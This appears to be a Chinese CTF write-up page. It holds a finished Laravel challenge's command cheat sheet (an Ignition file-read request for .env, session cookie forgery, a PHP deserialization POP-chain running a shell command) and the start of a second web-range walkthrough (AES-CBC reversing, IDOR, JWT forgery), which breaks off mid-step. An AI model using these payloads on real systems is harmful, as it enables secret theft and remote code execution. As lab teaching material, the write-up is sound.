PHP 序列化格式里 O:18:"App\Hidden\Profile" 的数字是完整类名（含命名空间和反斜杠）的字节长度。App\Hidden\Profile 有 18 个字符，App\Hidden\Database 有 19 个，App\Hidden\Command 有 18 个。手动数很容易差一个，导致 unserialize() 失败。本地有 PHP 的话，直接写类定义 + serialize() 最稳。

附：工具与命令速查

文件读取（Ignition 端点）

1
2
3
4
5

curl -X POST "http://target/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
       "parameters":{"viewFile":"php://filter/convert.base64-encode/resource=....//.env",
       "variableName":"username"}}'

Cookie 伪造（Python）

1
2
3

prefix = hmac.new(key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|"
plaintext = prefix + "admin260117"
# AES-256-CBC encrypt -> base64 -> JSON {iv, value, mac, tag} -> base64

POP 链 payload（PHP serialize）

1
2
3
4
5
6

$cmd = new Command();
$cmd->cmd = "sh -c 'cat /tmp/flag > /var/www/html/public/out.txt'";
$db = new Database(); $db->host = $cmd;
$p = new Profile(); $p->db = $db;
$u = new User(); $u->profile = $p;
echo base64_encode(serialize($u));

触发反序列化

1
2
3

curl -X POST "http://target/8167e48f725d4335b6388bdf54b5bd8a.php" \
  -b "laravel_session=（伪造 Cookie）" \
  -d "payload=（base64 序列化对象）"

Flag：flag{b2706734-f623-437e-8924-f94ab0ee81d0}

通关。

挑战概述

靶场名称: 越权密钥 - 雾島风起時
类型: 综合 Web 安全靶场
难度: 中高级
Flag: flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}

这是一个模拟真实业务场景的Web安全挑战，背景设定为”三角洲行动游戏陪玩下单平台”。整个攻击链涉及前端加密逆向、弱密码学、越权访问、信息泄露、JWT伪造等多个安全知识点，是一道非常有价值的综合性题目。

攻击链路径

整个挑战包含5个关键步骤，环环相扣：

1. 前端加密逆向 - 逆向AES-CBC加密参数完成登录
2. IDOR越权攻击 - 分解弱RSA公钥还原打手加密标识
3. 敏感信息挖掘 - 从客服聊天记录中挖掘隐藏报酬接口
4. JWT伪造提权 - 通过alg:none绕过或伪造令牌提权
5. 获取Flag - 访问隐藏接口获取最终Flag

让我们逐步深入分析每个环节的技术细节。

Step 1: 前端加密逆向 (AES-CBC)

1.1 发现加密机制

访问靶场首页后，发现登录功能。查看页面源码，注意到加载了一个特殊的JavaScript文件：

1

<script src="/static/js/login_crypto.js"></script>

1.2 分析加密实现

下载并分析login_crypto.js文件，发现密码在前端使用AES-CBC模式加密：

1
2
3
4
5
6
7
8
9

const KEY_BYTES = new Uint8Array([
    0x44, 0x46, 0x2d, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 
    0x2d, 0x6b, 0x65, 0x79, 0x2d, 0x31, 0x36, 0x21
]);  // "DF-login-key-16!"

const IV_BYTES = new Uint8Array([
    0x31, 0x36, 0x2d, 0x62, 0x79, 0x74, 0x65, 0x2d, 
    0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x2d, 0x69, 0x76
]);  // "16-byte-login-iv"

关键发现：

• 加密算法：AES-CBC
• 密钥长度：128位（16字节）
• KEY和IV都硬编码在前端JS中
• 加密后使用Base64编码传输

1.3 编写加密脚本

基于发现的密钥参数，编写Python加密脚本：

1
2
3
4
5
6
7
8
9
10
11
12

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

KEY = b'DF-login-key-16!'
IV = b'16-byte-login-iv'

def encrypt_password(password):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    padded = pad(password.encode(), AES.block_size)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted).decode()

1.4 测试登录

注册测试账号并成功登录：

1
2
3
4
5
6
7